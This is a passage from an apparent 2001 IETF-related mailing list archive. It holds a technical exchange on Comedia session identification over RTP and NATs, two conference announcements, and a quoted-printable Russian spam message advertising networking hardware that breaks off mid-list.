University&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&n=
bsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mobile:&nbsp; +358 40 702 35 =
35</FONT>
<BR><FONT SIZE=3D2>&gt; 472 Computer Science =
Building&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Fax&nbsp;&nbsp; =
:&nbsp; +358&nbsp; 9 299 30 52</FONT>
<BR><FONT SIZE=3D2>&gt; 1214 Amsterdam Ave., Mail Code 0401&nbsp; <A =
HREF=3D"http://www.hut.fi/~gonzalo" =
TARGET=3D"_blank">http://www.hut.fi/~gonzalo</A></FONT>
<BR><FONT SIZE=3D2>&gt; New York, NY =
10027&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&=
nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </FONT>
<BR><FONT SIZE=3D2>&gt; =
USA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nb=
sp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Gonzalo.Camarillo@ericsson.com</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
<BR><FONT SIZE=3D2>&gt; =
_______________________________________________</FONT>
<BR><FONT SIZE=3D2>&gt; Sip mailing list&nbsp; <A =
HREF=3D"http://www.ietf.org/mailman/listinfo/sip" =
TARGET=3D"_blank">http://www.ietf.org/mailman/listinfo/sip</A></FONT>
<BR><FONT SIZE=3D2>&gt; This list is for NEW development of the core =
SIP Protocol</FONT>
<BR><FONT SIZE=3D2>&gt; Use sip-implementors@cs.columbia.edu for =
questions on current sip</FONT>
<BR><FONT SIZE=3D2>&gt; Use sipping@ietf.org for new developments on =
the application of sip</FONT>
<BR><FONT SIZE=3D2>&gt; </FONT>
</P>

</BODY>
</HTML>
------_=_NextPart_001_01C1047A.CC7D4ED0--

From confctrl-owner  Wed Jul  4 06:20:06 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id GAA02076
	for confctrl-outgoing; Wed, 4 Jul 2001 06:20:06 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id GAA02020
	for <confctrl@zephyr.isi.edu>; Wed, 4 Jul 2001 06:19:58 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f64DK3Q18100
	for <confctrl@ISI.EDU>; Wed, 4 Jul 2001 06:20:05 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yonhome [24.180.58.118])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id JAA02946;
	Wed, 4 Jul 2001 09:20:58 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010704091514.00a65530@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 04 Jul 2001 09:19:03 -0400
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: RE: Comedia Issues.
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128C859@DYN-EXCH-001.dyna
 micsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At the risk of sounding dense, it looks to me like your suggestion is a bit 
RTP-centric.  How would this map to T.38-over-TCP for example?

At 12:39 AM 7/4/2001, Jonathan Rosenberg wrote:

> > information.  There are two ways to solve this problem:
> >
> >          a) Embed session identification information into the
> > media stream, or
> >          b) Identify the session by the address/port of the
> > remote endpoint.
> >
> > Since (a) is incompatible with most media signalled by SDP,
> > (b) is your
> > only option.  That is the essence of why SAP is included in
> > comedia.
>
>I think the nat fiasco has taught us that relying on IP addresses as
>identification is a bad thing. So, whilst I agree with (b), I wonder why we
>don't put the SSRC/cname in there instead? That has the advantage that it is
>globally unique (well, the cname is; the ssrc' may collide. But, you can
>detect this by notticing that the same ssrc came from two different IP
>addresses. Several ways to fix it...., but the problem goes away when the
>cname arrives. Just need to mandate that for unicast, you send a few RTCP
>right away to set the cname.). It provides endpoint identification that
>works through nats. It also allows us to <gasp> turn "RTP servers" (PSTN
>gateways, media servers, etc.) into traditional servers by defining a <gasp
>again> well-known port for RTP, and then demuxing on the SSRC/CNAME. Couple
>that with the symmetric RTP proposal, which has media sent back to the
>source IP where it came from. That means I could get RTP through firewalls
>by static configuration of a simple rule: allow outbound UDP to RTP-port
>(and allow media back to source addresses of outbound media).
>
>
>
>-Jonathan R.
>
>---
>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Wed Jul  4 08:46:14 2001
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA08113
	for confctrl-outgoing; Wed, 4 Jul 2001 08:46:14 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA08108
	for <confctrl@zephyr.isi.edu>; Wed, 4 Jul 2001 08:46:12 -0700 (PDT)
Received: from mail2.dynamicsoft.com (mail2.dynamicsoft.com [216.173.40.52])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f64FkJQ06246
	for <confctrl@ISI.EDU>; Wed, 4 Jul 2001 08:46:19 -0700 (PDT)
Received: from DYN-EXCH-001.dynamicsoft.com (bluebird [216.173.40.50])
	by mail2.dynamicsoft.com (8.12.0.Beta7/8.12.0.Beta7) with ESMTP id f64Fjoki008166;
	Wed, 4 Jul 2001 11:45:50 -0400 (EDT)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2653.19)
	id <3CZ0ZQFV>; Wed, 4 Jul 2001 11:46:17 -0400
Message-ID: <B65B4F8437968F488A01A940B21982BF0128C85C@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'David Yon'" <yon@dialout.net>,
        Jonathan Rosenberg
	 <jdrosen@dynamicsoft.com>,
        "Fairlie-Cuninghame, Robert"
	 <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: RE: Comedia Issues.
Date: Wed, 4 Jul 2001 11:46:09 -0400 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



 

> -----Original Message-----
> From: David Yon [mailto:yon@dialout.net]
> Sent: Wednesday, July 04, 2001 9:19 AM
> To: Jonathan Rosenberg; Fairlie-Cuninghame, Robert; 'confctrl@isi.edu'
> Subject: RE: Comedia Issues.
> 
> 
> At the risk of sounding dense, it looks to me like your 
> suggestion is a bit 
> RTP-centric.  How would this map to T.38-over-TCP for example?

Well, I'll admit that the suggestion is RTP centric. There is lots of
sessions that are RTP, and the issues you raise with traditional server
architectures apply there as well.

That said, I don't know T.38 really. Is there not some kind of ID carried
within the payload? Too late to add such a thing if not present?

-Jonathan R.

---
Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

From confctrl-owner  Wed Jul  4 14:14:27 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA24482
	for confctrl-outgoing; Wed, 4 Jul 2001 14:14:27 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA24477
	for <confctrl@zephyr.isi.edu>; Wed, 4 Jul 2001 14:14:26 -0700 (PDT)
Received: from webhost.tactical-sw.com (host-216-153-163-173.choiceone.net [216.153.163.173])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f64LEXQ23696
	for <confctrl@ISI.EDU>; Wed, 4 Jul 2001 14:14:33 -0700 (PDT)
Received: from YON-LATTITUDE.dialout.net (yonhome [24.180.58.118])
	by webhost.tactical-sw.com (8.9.2/8.9.1) with ESMTP id RAA08439;
	Wed, 4 Jul 2001 17:15:35 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010704170607.00a65530@mail.dialout.net>
X-Sender: yon@mail.dialout.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Wed, 04 Jul 2001 17:13:39 -0400
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        Jonathan Rosenberg <jdrosen@dynamicsoft.com>,
        "Fairlie-Cuninghame, Robert" <rfairlie@nuera.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
From: David Yon <yon@dialout.net>
Subject: RE: Comedia Issues.
In-Reply-To: <B65B4F8437968F488A01A940B21982BF0128C85C@DYN-EXCH-001.dyna
 micsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Yeah, yeah, go ahead and call my bluff... :-)  I have to admit I don't know 
whether T.38 has any room for session identification that can be used to 
map the media to the signaling, although I tend to doubt it.  Even if there 
was it would likely differ from your suggestion.

At any rate, I do like where you are going with this, and it's a worthwhile 
discussion.  In these days of firewalls, NATs, and hostile networks, I'm of 
the opinion that the only way to unambiguously associate a media stream to 
a session that's been signalled out-of-band is to embed information into 
the media itself.

That said, I would submit that it's a topic outside the scope of the 
comedia draft, which needs to address the current state of the world.

At 11:46 AM 7/4/2001, Jonathan Rosenberg wrote:

> > -----Original Message-----
> > From: David Yon [mailto:yon@dialout.net]
> > Sent: Wednesday, July 04, 2001 9:19 AM
> > To: Jonathan Rosenberg; Fairlie-Cuninghame, Robert; 'confctrl@isi.edu'
> > Subject: RE: Comedia Issues.
> >
> >
> > At the risk of sounding dense, it looks to me like your
> > suggestion is a bit
> > RTP-centric.  How would this map to T.38-over-TCP for example?
>
>Well, I'll admit that the suggestion is RTP centric. There is lots of
>sessions that are RTP, and the issues you raise with traditional server
>architectures apply there as well.
>
>That said, I don't know T.38 really. Is there not some kind of ID carried
>within the payload? Too late to add such a thing if not present?
>
>-Jonathan R.
>
>---
>Jonathan D. Rosenberg, Ph.D.                72 Eagle Rock Ave.
>Chief Scientist                             First Floor
>dynamicsoft                                 East Hanover, NJ 07936
>jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
>http://www.jdrosen.net                      PHONE: (973) 952-5000
>http://www.dynamicsoft.com


David Yon
Chief Technical Officer
Dialout.Net, Inc.
402 Amherst St.
Nashua, NH 03063
Voice   +1-603-577-8708 x206
Fax     +1-603-578-9564
yon@dialout.net


From confctrl-owner  Thu Jul  5 10:00:45 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA18794
	for confctrl-outgoing; Thu, 5 Jul 2001 10:00:45 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA18769
	for <confctrl@zephyr.isi.edu>; Thu, 5 Jul 2001 10:00:35 -0700 (PDT)
Received: from uci.agh.edu.pl (root@galaxy.uci.agh.edu.pl [149.156.96.9])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f65H0bQ10629
	for <confctrl@isi.edu>; Thu, 5 Jul 2001 10:00:38 -0700 (PDT)
Received: from iris.ics.agh.edu.pl (pinio@iris.ics.agh.edu.pl [149.156.97.17])
	by uci.agh.edu.pl (8.9.3/8.8.7/rchk1.20) with ESMTP id TAA10440
	for <confctrl@isi.edu>; Thu, 5 Jul 2001 19:00:35 +0200 (MET DST)
Received: (from pinio@localhost)
	by iris.ics.agh.edu.pl (8.9.3+Sun/8.9.3) id TAA25188
	for confctrl@isi.edu; Thu, 5 Jul 2001 19:00:34 +0200 (CEST)
Date: Thu, 5 Jul 2001 19:00:34 +0200 (CEST)
Message-Id: <200107051700.TAA25188@iris.ics.agh.edu.pl>
To: confctrl@ISI.EDU
From: "DAIS'2001 Conference" <dais2001-info@ics.agh.edu.pl>
Reply-To: dais2001-info@ics.agh.edu.pl
Subject: DAIS'2001 Call for Particip., grant opportunities information
Content-Type: text
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is to inform you that the grants for reimbursement of DAIS'2001
conference participation costs are still available for participants
up to the age of 35. Please check http://www.ics.agh.edu.pl/dais/grant.html
for details. The deadline for grant applications is 19th July 2001.


			Call for Participation

			      DAIS'2001

      The Third IFIP WG 6.1 International Working Conference on
	  Distributed Applications and Interoperable Systems

		Krakow, Poland,	17 - 19 September 2001
		   http://www.ics.agh.edu.pl/dais/

ABOUT THE CONFERENCE
DAIS'2001 will provide a broad forum for researchers and developers
from industry and academia, in particular for application and platform
service vendors and users to review, discuss and learn about new
approaches, concepts and experiences in the fields of distributed
computing.  DAIS'2001 will focus on integration and interoperability
of different platforms, services and applications, infrastructure for
e-business, internet charging, coordination, mobile agents,
context-aware applications, as well as on scalability and management
issues, and the growing importance of mobile and wireless protocols
and applications.

DAIS'2001 consists of one state-of-the-art tutorials day and two
conference session days including two invited speeches and 26
technical papers.

TUTORIALS (17 September)
Morning Session
Tutorial TA1: Steve Vinoski, IONA Technologies
	      Web Services: Protocols and Applications
	      
Tutorial TB1: Frank Eliassen, Thomas Plagemann, University in Oslo
  	      Multimedia middleware
	      
Tutorial TC1: Ina Schieferdecker, GMD FOKUS, Jens Grabowski, Medical University of Luebeck
	      Testing of Distributed Systems: TTCN-3 and its GraphicalFormat
	      
Afternoon Session
Tutorial TA2: Sean Baker, IONA Technologies
	      Diverse Middleware is the order of the day

Tutorial TB2: Qusay H.Mahmoud, JavaCourses.com & Carleton University in Ottawa
	      Wireless Software Design for Handheld Devices

Tutorial TC2: Marek Gmyrek, ConSol GmbH
	      J2EE for Enterprise-Wide Business Applications - A Case Study

INVITED LECTURES
I1: Liba Svobodova, IBM Zurich Research Lab (18 September)
    Intelligent Infrastructure for e-Business 

I2: Adam Wolisz, Technical University Berlin (19 September)
    Information access is fine but who is going to pay? 
    Dual Approach to Internet Charging.

TECHNICAL PAPERS SESSIONS  18-19 September 
selected session names:
S1:  Context-Aware Applications
S2:  Integration & Interoperability
S4:  Architectures, Services & Applications
S5:  Mobile Agents
S6:  Management & Monitoring

Full Technical Program with abstracts is available at:
http://www.ics.agh.edu.pl/dais/technical_program.html

SOCIAL PROGRAM  
- Welcome Reception in the Krakow City Hall 
- Excursion to the famous Salt Mine in Wieliczka and Conference Dinner

EUROPEAN COMMISSION GRANT
DAIS'2001 is supported by the European Commission - DG Human Potential
Programme - High-Level Scientific Conferences. Participants may apply
for grants to cover up to 100% expenses - see details on 
http://www.ics.agh.edu.pl/dais/grant.html

DEADLINES
17 July -  registration with reduced fee   
17 July -  European Commission grant requests
3 August - notification of grant acceptance

FEES
early - 300 EUR (1100 PLN) if received before July 17, 2001
late  - 380 EUR (1350 PLN)
single tutorial - 150 EUR (500 PLN)
two tutorials   - 250 EUR (850 PLN)

LOCATION
DAIS'2001 will be held in Krakow, a beautiful, old city, the Poland's
prime cultural and tourist attraction with hardly any equals in the
entire Central Europe, nominated the Capital of the European Culture
for the year 2000. The Old Town district is actually a medieval city
with a well preserved original grid of streets. The huge central
square, Europe's largest, seems the last stage in the perfection of
the art of city planning in the Middle Ages.

MORE INFO
All information you need to learn and register for DAIS'2001:
	  http://www.cs.agh.edu.pl/dais2001/

FURTHER INFORMATION
   DAIS'2001 Organizing Committee
   Academic Computer Center CYFRONET
   University of Mining and Metallurgy
   ul. Nawojki 11, P.O.Box 386
   30-950 Krakow 61
   Poland                                       

e-mail: dais2001-info@ics.agh.edu.pl
fax: +48 12 6341084
phone: +48 12 6173982, ext. 22
       +48 12 6341766

Conference Chairmen
Krzysztof Zielinski (chair), UMM Krakow, Poland
Kurt Geihs (co-chair), University of Frankfurt, Germany

Organizing Committee
Aleksander Laurentowski (chair), Elzbieta Alda,
Zofia Mosurska, Radoslaw Ruchala, UMM Krakow, Poland
	
We are looking forward to meeting you in Krakow, in September 2001!


From confctrl-owner  Thu Jul  5 15:52:34 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id PAA13414
	for confctrl-outgoing; Thu, 5 Jul 2001 15:52:34 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id PAA13409
	for <confctrl@zephyr.isi.edu>; Thu, 5 Jul 2001 15:52:33 -0700 (PDT)
Received: from smtp-hub2.mrf.mail.rcn.net (smtp-hub2.mrf.mail.rcn.net [207.172.4.76])
	by tnt.isi.edu (8.11.2/8.11.2) with ESMTP id f65MqeL12391
	for <CONFCTRL@isi.edu>; Thu, 5 Jul 2001 15:52:41 -0700 (PDT)
Received: from smtp01.mrf.mail.rcn.net ([207.172.4.60])
	by smtp-hub2.mrf.mail.rcn.net with esmtp (Exim 3.30 #2)
	id 15IHz9-0004pU-00
	for CONFCTRL@isi.edu; Thu, 05 Jul 2001 18:52:35 -0400
Received: from 66-44-67-230.s484.tnt7.lnhva.md.dialup.rcn.com ([66.44.67.230] helo=EAGLE)
	by smtp01.mrf.mail.rcn.net with esmtp (Exim 3.30 #2)
	id 15IHz7-0006Ju-00 
	for CONFCTRL@ISI.EDU; Thu, 05 Jul 2001 18:52:34 -0400
Message-ID: <27822200174522403060@EAGLE>
X-EM-Version: 5, 0, 0, 19
X-EM-Registration: #01B0530810E603002D00
X-Priority: 3
Reply-To: res02mg1@gte.net
X-MSMail-Priority: Normal
From: "David C. Dickson" <res02mg1@gte.net>
To: CONFCTRL@ISI.EDU
Subject: Network and Info Systems Security Training Conference - Wash DC, 16 July 2001
Date: Thu, 5 Jul 2001 18:40:30 -0400
MIME-Version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id PAA13410
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

To:	   CONFCTRL@ISI.EDU

NEW SPEAKERS ADDED

PLEASE FORWARD THIS TO YOUR MANAGER OF SYSTEMS SECURITY, TRENDS, AND   SECURITY TECHNOLOGIES GROUP.

Market*Access International is proud to present .... 

NETWORK AND INFORMATION SYSTEMS SECURITY - TRAINING CONFERENCE

AGENCY INTRUSION DETECTION REQUIREMENTS and TECHNOLOGY SOLUTIONS

Date: July 16, 2001

Ronald Reagan Building and International Trade Center
1300 Pennsylvania Avenue
Washington D.C.
Atrium Ballroom

Time: 7:30 AM Registration and Continental Breakfast
Program Starts: 8:30 AM
Wrap-up: 4:15 PM

About this Conference:

As government becomes more dependent on e-business, databases, information storehouses, mission critical information storage and information sharing, new risks are posed. These risks may come from student hackers, foreign governments or foreign military, terrorist organizations or even internal users.

With the new e-Government applications and communications, computer security has emerged as a top issue and challenge. This conference will highlight the risks, opportunities and innovative management and technical approaches to the detection and response to unauthorized intrusions into agency data. The conference will focus on business and military applications and agency plans and programs for securing these applications.

A highlight of this conference will be a section on AGENCY REQUIREMENTS AND NEW TECHNOLOGIES and strategies of coping with unauthorized attempts to compromise agency and DoD systems and data.

SPEAKERS WILL REPRESENT THE FOLLOWING AGENCIES/COMPANIES:

Navy NMCI – Mark Lavoie – Communications Officer, CDR, USNR PEO IT (Program Executive Office of Information Technology).

Department of Transportation - Bonnie Fisher – Director, TASC Millennium Solutions Center

National Science Foundation - Dara Murry – Director, ADP Security

FBI - James Burrell – Acting Unit Chief, Computer Investigation Unit

DARPA - Jim Webster – Manager, Information Assurance Office

GSA/FedCIRC - Larry Hale –  Liaison Director, Federal Computer Incident Response Center 

DOJ – TBD

DISA – TBD

Gartner – Keynote –  TBD

Guardant – Robert Lee – Director, Senior Principal Consultant

Global Integrity - Errol Weiss, Bill Morgan

Verizon, Federal Network Systems - Char Sample – 

Raytheon – Barton Abbott – Director, Information Assurance, Navy /USMC Intranet, Information Strike Force

Symantec - TBD


For more information on speakers and the conference agenda, please visit our web site at www.marketaccess.org.

Who should attend:

* Agency IT Executives, Managers, and Staff 
* Agency Security Executives, Managers and Staff 
* Agency information systems program managers 
* Agency Telecommunications Executives, Managers and Staff 
* Tele-work and Telecomm Directors, Managers, and Staff 
* Functional area managers 
* Systems integrators that support federal agency security requirements 
* Hardware and software solutions providers 

What you will learn:

* Agency plans, programs and priorities 
* Successes and Lessons learned 
* Innovative government intrusion detection security approaches and applications 
* New technologies and strategies - what is on the drawing boards 
* How the military approaches network security and intrusion detection 
* Security of remote database management 
* How to structure intrusion detection solutions 
* Risks, sources of attacks... the internal risk 
* Commercial and government best practices 

Corporate Sponsors:

* Symantec 
* Verizon 
* Market*Access

.... others to be announced

Organizational Sponsors:

* Department of Transportation
* INPUT Government 

....other sponsors to be announced.

Please register early. The conference area has limited seating available and we anticipate a sell out.

Points of Contact:

* For technical support with this web site, please contact Mr. Parrish Knight, 703/807-2748 
* For general information about this event, please contact Ms. Kristen Brooks, 703/807-2745 
* For information on sponsorship opportunities & exhibitor arrangements, please contact Ms. Cara Lombardi at 703/807-2743 

The registration fee for this important training conference is:

*  Government Credit Card or Check in Advance: $395
*  Government Training Forms/Invoice: $445
*  Industry and Federal Contractors, Payment in Advance: $595
*  Industry and Federal Contractors/Invoice: $645

We accept government training forms and government and commercial credit cards (VISA, MC, American Express).

Options:

[1] Phone: 703-807-2745 and speak with Ms. Kristen Brooks.
[2] Email: kbrooks@marketaccess.org
[3] Register online: Use our online booking form to register and pay by credit card electronically.  To register, go to www.marketaccess.org.
[4] Fax: registration form to 301-652-0914.
[5] Mail: registration form to:

Market*Access International, Inc.
4301 Wilson Blvd. #1003
Arlington, VA 22203

Sponsorships Available! For sponsorship information, please contact:

Cara Lombardi
Market*Access International
4301 Wilson Blvd. #1003
Arlington, VA 22203
Phone (703) 807-2743
Fax (703) 807-2728
clombardi@marketaccess.org

If you wish to be REMOVED from this list, please REPLY and place REMOVE in the SUBJECT line.

Thank you




From confctrl-owner  Thu Jul  5 17:32:56 2001
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id RAA18861
	for confctrl-outgoing; Thu, 5 Jul 2001 17:32:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id RAA18856
	for <confctrl@zephyr.isi.edu>; Thu, 5 Jul 2001 17:32:55 -0700 (PDT)
Received: from ts8-a184.dial.sovam.com (ts8-a184.dial.sovam.com [195.239.2.184])
	by tnt.isi.edu (8.11.2/8.11.2) with SMTP id f660WfL25723
	for <confctrl@isi.edu>; Thu, 5 Jul 2001 17:32:42 -0700 (PDT)
Message-ID: <002901c10596$3f1bbbe0$1f9efea9@boyoma>
From: "boyoma" <boyoma@dubki.msk.ru>
To: confctrl@ISI.EDU
Subject: =?windows-1251?B?zvLi5fIg7eAg5+Dv8O7xIC0i0eXy5eLu5SDu4e7w8+Tu4uDt6OUi?=
Date: Fri, 6 Jul 2001 01:05:36 +0400
MIME-Version: 1.0
Content-Type: multipart/mixed;
	boundary="----=_NextPart_000_0024_01C105B7.C398A740"
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
Disposition-Notification-To: "boyoma" <boyoma@dubki.msk.ru>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0024_01C105B7.C398A740
Content-Type: multipart/related;
	type="multipart/alternative";
	boundary="----=_NextPart_001_0025_01C105B7.C398A740"


------=_NextPart_001_0025_01C105B7.C398A740
Content-Type: multipart/alternative;
	boundary="----=_NextPart_002_0026_01C105B7.C398A740"


------=_NextPart_002_0026_01C105B7.C398A740
Content-Type: text/plain;
	charset="windows-1251"
Content-Transfer-Encoding: quoted-printable

=DF=F1=ED=FB=E9 =E4=E5=ED=FC                                             =
                                                          =
=D3=E2=E0=E6=E0=E5=EC=FB=E5 =E3=EE=F1=EF=EE=E4=E0!
 =CF=D0=C5=C4=CB=C0=C3=C0=C5=CC =D0=C5=D8=C5=CD=C8=DF =C8 =
=CE=C1=CE=D0=D3=C4=CE=C2=C0=CD=C8=C5 =CE=D2 =
=CA=D0=D3=CF=CD=C5=C9=D8=C5=C3=CE =D1=C8=D1=D2=C5=CC=CD=CE=C3=CE =
=C8=CD=D2=C5=C3=D0=C0=D2=CE=D0=C0

                                           =C4=CB=DF =
=CF=CE=D1=D2=D0=CE=C5=CD=C8=DF =CB=CE=CA=C0=CB=DC=CD=DB=D5 =C8 =E8 WAN =
=D1=C5=D2=C5=C9 .

Cisco Sistems =96=EE=F2 =EC=E8=F0=EE=E2=EE=E3=EE =EB=E8=E4=E5=F0=E0 =E2 =
=EE=E1=EB=E0=F1=F2=E8 =F1=E5=F2=E5=E2=FB=F5 =
=F2=E5=F5=ED=EE=EB=EE=E3=E8=E9, =
=EF=F0=E5=E4=ED=E0=E7=ED=E0=F7=E5=ED=ED=FB=F5 =E4=EB=FF =F1=E5=F2=E8 =
=C8=ED=F2=E5=F0=ED=E5=F2


  a.. =E2=FB=F1=EE=EA=EE=EF=F0=EE=E8=E7=E2=EE=E4=E8=F2=E5=EB=FC=ED=FB=E5 =
=EC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB =F1=E5=F0=E8=E8 -12000 ,-7500 =
,-7200 =E8 =E4=F0.
  b.. =EA=EE=EC=EC=F3=F2=E0=F2=EE=F0=FB LAN =F1=E5=F0=E8=E8 -Catalist
  c.. =EA=EE=EC=EC=F3=F2=E0=F2=EE=F0=FB WAN =F1=E5=F0=E8=E8 -IGX =
8400,BPX8600,MGX8800
  d.. =F3=F1=F2=F0=EE=E9=F1=F2=E2=E0 =E4=EE=F1=F2=F3=EF=E0 =
=F1=E5=F0=E8=E9 =961000,1600,2500,2600/3600,3800,4000

EICON Technology


  a.. =CA=EE=EC=EC=F3=ED=E8=EA=E0=F6=E8=EE=ED=ED=FB=E5 =
=EA=EE=ED=F2=F0=EE=EB=EB=E5=F0=FB =E4=EB=FF =F1=E5=F2=E5=E9 Frame =
Relay/X25/SDLS
  b.. =
EICONCard=F1=E5=F0=E8=E9C20/21,C30/31/S50/S51/S52/S90/S91/S94/P62/P92/C90=
/C91
  c.. =D1=E5=F2=E5=E2=EE=E5 =EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5 =
=E4=EB=FF =EA=E0=ED=E0=EB=EE=E2 ISDN =E8 ADSL =
=E8=ED=F2=E5=F0=F4=E5=E9=F1=ED=FB=E5 =EA=E0=F0=F2=FB, =
=EC=E0=F0=F8=F0=F3=F2=E8=E7=E0=F2=EE=F0=FB.
  d.. EICON DIVA T/A , ISD modem ,ISDN USB ,ISDN Card,ISDN PRO Card =
,Server BRI ,Server 4BRI ,Server Voice 4BRI ,Server PRI ,Mobile V.90 PC =
Card ,LAN ISDN Modem ,ASDL USB ,1830 ISDN Router ,2430 Eternet ,USB ADSL =
Modem
  e.. =D0=E5=F8=E5=ED=E8=FF =E4=EB=FF SNA:
  f.. AVIVA Mainframe Edition (=C4=EE=F1=F2=F3=EF =EA =
=F5=EE=F1=F2-=EA=EE=EC=EF=FC=FE=F2=E5=F0=F3 =E4=EB=FF WINDOWS NT =E8 =
WINDOWS 95) , Enterprise Access Server
Motorolla


  a.. =CC=F3=EB=FC=F2=E8=F1=E5=F0=E2=E8=F1=ED=FB=E5 =
=EA=EE=EC=EC=F3=F2=E0=F2=EE=F0=FB Frame Relay =F1=E5=F0=E8=E8
  b.. Vanguard 8500, 6560/6520, 6425/6430/6450, 305/320, 311/312, 200, =
100, Remote VU ,6500 Plus Regional Concentrator
  c.. =D1=E8=F1=F2=E5=EC=FB =F3=EF=F0=E0=E2=EB=E5=ED=E8=FF: 9000 Open =
Management System
  d.. =CA=E0=ED=E0=EB=EE=EE=E1=F0=E0=E7=F3=FE=F9=E5=E5 =
=EE=E1=EE=F0=F3=E4=EE=E2=E0=ED=E8=E5: Codex 326x =F1=E5=F0=E8=E8 , 3460 =
Fast*R

PAIRGAIN

            Campus , Megabit Access ,Megabit-CRA modems ,Megabit 300 =
series ,Megabit modems 700F/600L/500L ,

            AVIDIA Systems ,High Gain ETSI , HighGain  *98 =
,PG-2/PG-Plus/PG-Flex

ZYXEL


  a.. =D3=ED=E8=E2=E5=F0=F1=E0=EB=FC=ED=FB=E5 =E8 =
